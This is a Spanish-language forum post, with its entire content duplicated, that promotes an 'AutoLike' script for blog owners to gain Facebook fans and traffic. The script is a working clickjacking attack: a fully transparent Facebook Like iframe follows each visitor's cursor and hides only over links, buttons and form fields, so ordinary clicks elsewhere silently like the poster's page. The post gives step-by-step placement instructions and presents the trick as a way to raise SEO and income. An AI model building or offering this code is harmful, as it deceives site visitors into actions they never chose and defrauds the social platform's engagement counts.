
andres toro
Dseda
buscando una forma de ganar likes de facebook para un blog que tengo, me tope con este codigo, lo probe y me funciono de maravilla, se que muchos buscan lo mismo, ojala les sirva.
Que lograras con este código:
Aumentar de forma considerable el numero de tus fans.
Aumentar tu posicionamiento (SEO), Google esta tomando en cuenta la interacción social.
Mas visitas a tu web.
Aumento de tus ingresos con la formula "Mas fans + Mas visitas = Mas ingresos"
Ahora vamos al plato fuerte, la implementación de este código (lo he probado en blogger, pero debería, en teoría funcionar en otros gestores de contenido). Sin expandir artilugios, antes de <body> coloquen el siguiente fragmento HTML:
<!--AutoLike para fanpague primera parte -->
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js' type='text/javascript'>
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery("div[id^=\'clickjack-button-wrapper\']").hide();
}
function ClickJackFbShow(){
jQuery("div[id^=\'clickjack-button-wrapper\']").show();
}
</script>
<!--Fin AutoLike para fanpague primera parte -->
Por ultimo antes de </body> coloca lo siguiente, pero en esta parte deberás sustituir donde dice "tufanpage" por el nombre de tu fan page :
<!--AutoLike para fan page segunda parte -->
<div id='clickjack-button-wrapper-5' style='position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid😀XImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden'>
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
<iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2Ftufanpage&send=false&layout=standard&width=450&show_faces=false&font&colorscheme=light&action=like&height=35&appId=177279422401731" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:35px;" allowTransparency="true"></iframe>
</div>
<script type='text/javascript'>
jQuery( document ).ready( function() {
$( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack-button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hider();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseout(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouseout(function(){ClickJackFbShow();});
jQuery("textarea").mouseout(function(){ClickJackFbShow();});
jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();}); jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseover(function(){ClickJackFbHide();});
jQuery("a").mouseover(function(){ClickJackFbHide();});
jQuery("button").mouseover(function(){ClickJackFbHide();});
jQuery("textarea").mouseover(function(){ClickJackFbHide();});
jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>
<!--Fin AutoLike para fan page segunda parte -->
Fuente
demo
Que lograras con este código:
Aumentar de forma considerable el numero de tus fans.
Aumentar tu posicionamiento (SEO), Google esta tomando en cuenta la interacción social.
Mas visitas a tu web.
Aumento de tus ingresos con la formula "Mas fans + Mas visitas = Mas ingresos"
Ahora vamos al plato fuerte, la implementación de este código (lo he probado en blogger, pero debería, en teoría funcionar en otros gestores de contenido). Sin expandir artilugios, antes de <body> coloquen el siguiente fragmento HTML:
<!--AutoLike para fanpague primera parte -->
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js' type='text/javascript'>
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery("div[id^=\'clickjack-button-wrapper\']").hide();
}
function ClickJackFbShow(){
jQuery("div[id^=\'clickjack-button-wrapper\']").show();
}
</script>
<!--Fin AutoLike para fanpague primera parte -->
Por ultimo antes de </body> coloca lo siguiente, pero en esta parte deberás sustituir donde dice "tufanpage" por el nombre de tu fan page :
<!--AutoLike para fan page segunda parte -->
<div id='clickjack-button-wrapper-5' style='position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid😀XImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden'>
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
<iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2Ftufanpage&send=false&layout=standard&width=450&show_faces=false&font&colorscheme=light&action=like&height=35&appId=177279422401731" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:35px;" allowTransparency="true"></iframe>
</div>
<script type='text/javascript'>
jQuery( document ).ready( function() {
$( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack-button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hider();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseout(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouseout(function(){ClickJackFbShow();});
jQuery("textarea").mouseout(function(){ClickJackFbShow();});
jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();}); jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseover(function(){ClickJackFbHide();});
jQuery("a").mouseover(function(){ClickJackFbHide();});
jQuery("button").mouseover(function(){ClickJackFbHide();});
jQuery("textarea").mouseover(function(){ClickJackFbHide();});
jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>
<!--Fin AutoLike para fan page segunda parte -->
Fuente
demo
Última edición: